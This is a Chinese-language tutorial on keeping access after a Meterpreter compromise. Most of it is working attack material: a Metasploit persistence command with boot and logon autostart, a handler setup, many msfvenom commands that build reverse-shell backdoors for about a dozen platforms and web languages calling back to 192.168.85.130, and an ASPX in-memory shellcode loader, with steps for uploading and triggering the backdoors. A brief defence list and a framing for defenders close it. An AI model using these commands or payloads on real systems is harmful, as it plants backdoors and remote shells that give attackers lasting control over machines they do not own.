meterpreter后渗透之权限维持
字数 974 2025-08-26 22:11:40
Meterpreter后渗透权限维持技术详解
一、Persistence后门创建
1. 基本命令
使用Meterpreter的persistence模块创建持久性后门:
run persistence -S -U -X -i 5 -p 6666 -r 192.168.85.130
2. 参数详解
| 参数 | 说明 |
|---|---|
| -A | 自动启动匹配的漏洞处理程序连接代理 |
| -L | 指定有效负载写入位置(默认%TEMP%) |
| -P | 指定有效负载(默认windows/meterpreter/reverse_tcp) |
| -S | 以系统特权启动代理服务 |
| -T | 指定可执行模板 |
| -U | 用户登录时自动启动代理 |
| -X | 系统启动时自动启动代理 |
| -i | 连接尝试间隔(秒) |
| -p | 监听端口 |
| -r | 监听主机的IP地址 |
3. 后门文件位置
后门文件通常创建在C:\Windows\TEMP目录下,如QeVoiKqW.vbs
4. 监听设置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.85.130
set lport 6666
run
二、Meterpreter后门制作
1. 使用msfvenom生成各类后门
PHP后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f raw -o test.php
Windows可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f exe > test.exe
其他平台后门
# 安卓
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -o test.apk
# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f elf > shell.elf
# Mac OS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f macho > shell.macho
# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f asp > shell.asp
# ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f aspx > shell.aspx
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f raw > shell.jsp
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.85.130 LPORT=6666 -f raw > shell.sh
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.85.130 LPORT=6666 -f raw > shell.pl
# Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.85.130 LPORT=6666 -f raw > shell.py
2. 后门部署与监听
- 将生成的后门文件上传到目标服务器
- 设置监听(同上)
- 触发后门执行(访问URL或执行文件)
三、ASPX Meterpreter后门
1. 生成ASPX后门
use windows/shell_reverse_tcp
set lhost 192.168.85.130
set lport 4444
generate -t aspx -f test.aspx
2. ASPX后门代码解析
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
protected void Page_Load(object sender, EventArgs e)
{
byte[] shellcode = new byte[324] { /* 省略的shellcode字节数组 */ };
IntPtr mem = VirtualAlloc(IntPtr.Zero,(UIntPtr)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(shellcode,0,mem,shellcode.Length);
IntPtr threadId = IntPtr.Zero;
IntPtr thread = CreateThread(IntPtr.Zero,UIntPtr.Zero,mem,IntPtr.Zero,0,ref threadId);
}
</script>
3. 工作原理
- 使用
VirtualAlloc在内存中分配可执行区域 - 将shellcode复制到分配的内存中
- 使用
CreateThread创建新线程执行shellcode - shellcode会建立反向TCP连接到攻击机
四、防御建议
- 监控系统临时目录的可疑文件创建
- 限制Web服务器上传和执行权限
- 部署杀毒软件和入侵检测系统
- 定期检查系统启动项和服务
- 对Web应用进行代码审计,查找可疑脚本
- 限制网络出站连接
五、总结
本文详细介绍了多种Meterpreter后渗透权限维持技术,包括:
- 使用
persistence模块创建持久后门 - 使用
msfvenom生成各类平台的后门程序 - ASPX内存注入型后门的实现原理
这些技术展示了攻击者如何在目标系统上建立长期控制的方法,安全人员应了解这些技术以便更好地防御。